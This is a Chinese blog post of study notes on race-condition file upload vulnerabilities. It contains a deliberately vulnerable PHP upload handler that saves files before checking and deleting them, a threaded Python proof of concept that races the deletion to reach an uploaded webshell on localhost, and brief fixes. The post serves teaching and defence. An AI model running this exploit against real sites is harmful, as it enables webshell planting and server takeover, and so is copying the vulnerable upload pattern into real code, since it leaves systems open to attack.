Conditional Competitive Learning

  1. 前言
  2. 条件竞争

前言

准备上学,抽时间学了条件竞争并做了笔记
eefcba0df71b4ca18385a0152f51106a.jpeg

条件竞争

0x00介绍
一些网站上传文件的逻辑是先允许上传任意文件,然后检查上传的文件是否包含webshell脚本,如果包含则删除该文件。这里存在的问题是文件上传成功后和删除文件之间存在一个短的时间差(因为要执行检查文件和删除文件的操作),攻击者就可以利用这个时间差完成竞争条件的上传漏洞攻击

0x01漏洞一般出现的位置
SRC好像都没见过,一般出现在CTF题吧
就是允许任意文件上传,但是会判断是否为webshell。更简洁的来说就是:

先将文件上传到指定目录然后在判断是否为webshell,是的话在删除。攻击者可以利用这段时间差来进行生成另一个shell。
一般存在条件竞争的上传文件后,在短暂时间内发现可以访问。可是后面就被删了,这就有:条件竞争

0x02实验
存在漏洞的代码

<html>
<head>
    <title>条件竞争</title>
</head>
<body>
<form action="demo.php" method="post" enctype="multipart/form-data">
    <label for="file">文件名</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" na="submit" value="上传">
</body>
</html>

<?php
header("Content-Type: text/html;charset=utf-8");
if(isset($_FILES['file'])) {
    if ($_FILES['file']['error'] > 0) {
        echo "文件上传错误" . $_FILES["file"]["error"] . "<br>";
    } else {
        echo "上传的文件名:" . $_FILES['file']['name'] . "<br>";
        echo "文件类型:" . $_FILES['file']['type'] . "<br>";
        echo "文件大小:" . $_FILES['file']['size'] . "<br>";
        echo "文件临时存储位置".$_FILES['file']['tmp_name']."<br>";
        move_uploaded_file($_FILES['file']['tmp_name'], 'upload/' . $_FILES['file']['name']);
        $demo=explode(".",$_FILES['file']['name']);
        $hz=end($demo);
        sleep(10);
        if ($hz!='jpg'){
            unlink('upload/'.$_FILES['file']['name']);
            echo "发现webshell,已删除";
        }
    }
}
?>

poc

import requests
import threading

s = 0
def demo(url):
    global s
    headers={'user-agent':'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36'}
    rqt=requests.get(url=url,headers=headers)
    s+=1
    print('[+] 已请求:{}次'.format(s))
    rqt=requests.get(url='http://127.0.0.1/jinz/upload/xxx.php',headers=headers)
    if rqt.status_code==200:
        print('[+] shell上传成功')

if __name__ == '__main__':
    urls='http://127.0.0.1/jinz/upload/xx.php'
    for i in range(1,30):
        t=threading.Thread(target=demo,args=(urls,))
        t.start()

AYlSZd.md.png

AYlpdA.md.png

0x003修复
针对此漏洞修复是,要判断是否为允许后缀在上传的过程判断,不要上传完毕才判断
对上传后的文件进行重命名

转载请声明:转自422926799.github.io


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。

文章标题:Conditional Competitive Learning

本文作者:九世

发布时间:2019-03-24, 14:34:11

最后更新:2019-04-19, 20:36:16

原始链接:http://422926799.github.io/posts/2d4f21a3.html

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录